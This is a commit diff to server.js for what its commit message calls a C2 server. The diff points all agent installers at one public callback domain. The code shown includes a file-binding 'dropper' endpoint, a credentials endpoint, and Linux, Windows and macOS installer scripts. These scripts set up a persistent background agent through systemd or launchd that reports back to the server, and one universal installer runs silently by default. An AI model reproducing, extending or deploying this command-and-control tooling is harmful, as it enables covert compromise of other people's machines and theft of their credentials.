C2: canonical public endpoint agent.thetempleofdoom.com for all agent installers
This commit is contained in:
19
server.js
19
server.js
@@ -280,8 +280,7 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
|
|||||||
const originalName = req.file.originalname;
|
const originalName = req.file.originalname;
|
||||||
const b64Content = req.file.buffer.toString('base64');
|
const b64Content = req.file.buffer.toString('base64');
|
||||||
const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content];
|
const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content];
|
||||||
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
||||||
const serverUrl = PUBLIC_URL || `http://${host}`;
|
|
||||||
const format = (req.query.format || 'sh').toLowerCase();
|
const format = (req.query.format || 'sh').toLowerCase();
|
||||||
|
|
||||||
let dropper, boundName, contentType;
|
let dropper, boundName, contentType;
|
||||||
@@ -669,12 +668,12 @@ app.get('/api/credentials', (req, res) => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
app.get('/install.sh', (req, res) => {
|
app.get('/install.sh', (req, res) => {
|
||||||
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
||||||
const script = `#!/bin/bash
|
const script = `#!/bin/bash
|
||||||
# Network Node Agent One-Liner Installer for Linux
|
# Network Node Agent One-Liner Installer for Linux
|
||||||
set -e
|
set -e
|
||||||
|
|
||||||
SERVER_URL="http://${host}"
|
SERVER_URL="${serverUrl}"
|
||||||
INSTALL_DIR="/opt/network-agent"
|
INSTALL_DIR="/opt/network-agent"
|
||||||
SERVICE_FILE="/etc/systemd/system/network-agent.service"
|
SERVICE_FILE="/etc/systemd/system/network-agent.service"
|
||||||
|
|
||||||
@@ -721,9 +720,9 @@ echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL"
|
|||||||
});
|
});
|
||||||
|
|
||||||
app.get('/install.ps1', (req, res) => {
|
app.get('/install.ps1', (req, res) => {
|
||||||
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
||||||
const script = `# Network Agent PowerShell Installer for Windows
|
const script = `# Network Agent PowerShell Installer for Windows
|
||||||
$SERVER_URL = "http://${host}"
|
$SERVER_URL = "${serverUrl}"
|
||||||
$INSTALL_DIR = "C:\\ProgramData\\NetworkAgent"
|
$INSTALL_DIR = "C:\\ProgramData\\NetworkAgent"
|
||||||
|
|
||||||
Write-Host "==================================================" -ForegroundColor Cyan
|
Write-Host "==================================================" -ForegroundColor Cyan
|
||||||
@@ -748,12 +747,12 @@ Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_
|
|||||||
});
|
});
|
||||||
|
|
||||||
app.get('/install-mac.sh', (req, res) => {
|
app.get('/install-mac.sh', (req, res) => {
|
||||||
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
||||||
const script = `#!/bin/bash
|
const script = `#!/bin/bash
|
||||||
# macOS Node Agent Installer — launchd background daemon
|
# macOS Node Agent Installer — launchd background daemon
|
||||||
set -e
|
set -e
|
||||||
|
|
||||||
SERVER_URL="http://${host}"
|
SERVER_URL="${serverUrl}"
|
||||||
INSTALL_DIR="/opt/network-agent"
|
INSTALL_DIR="/opt/network-agent"
|
||||||
PLIST_FILE="$HOME/Library/LaunchAgents/com.nexusops.agent.plist"
|
PLIST_FILE="$HOME/Library/LaunchAgents/com.nexusops.agent.plist"
|
||||||
|
|
||||||
@@ -814,12 +813,12 @@ echo " To stop: launchctl unload $PLIST_FILE"
|
|||||||
|
|
||||||
// ── Universal Auto-Install (one command, any OS, fully silent) ──
|
// ── Universal Auto-Install (one command, any OS, fully silent) ──
|
||||||
app.get('/install', (req, res) => {
|
app.get('/install', (req, res) => {
|
||||||
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
||||||
const silent = req.query.silent !== '0'; // silent by default
|
const silent = req.query.silent !== '0'; // silent by default
|
||||||
const quiet = silent ? '>/dev/null 2>&1' : '';
|
const quiet = silent ? '>/dev/null 2>&1' : '';
|
||||||
const script = `#!/bin/bash
|
const script = `#!/bin/bash
|
||||||
# NexusOps Universal Auto-Installer — one command, any OS
|
# NexusOps Universal Auto-Installer — one command, any OS
|
||||||
SERVER_URL="http://${host}"
|
SERVER_URL="${serverUrl}"
|
||||||
echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL"
|
echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL"
|
||||||
|
|
||||||
case "$(uname -s 2>/dev/null || echo Windows)" in
|
case "$(uname -s 2>/dev/null || echo Windows)" in
|
||||||
|
|||||||
Reference in New Issue
Block a user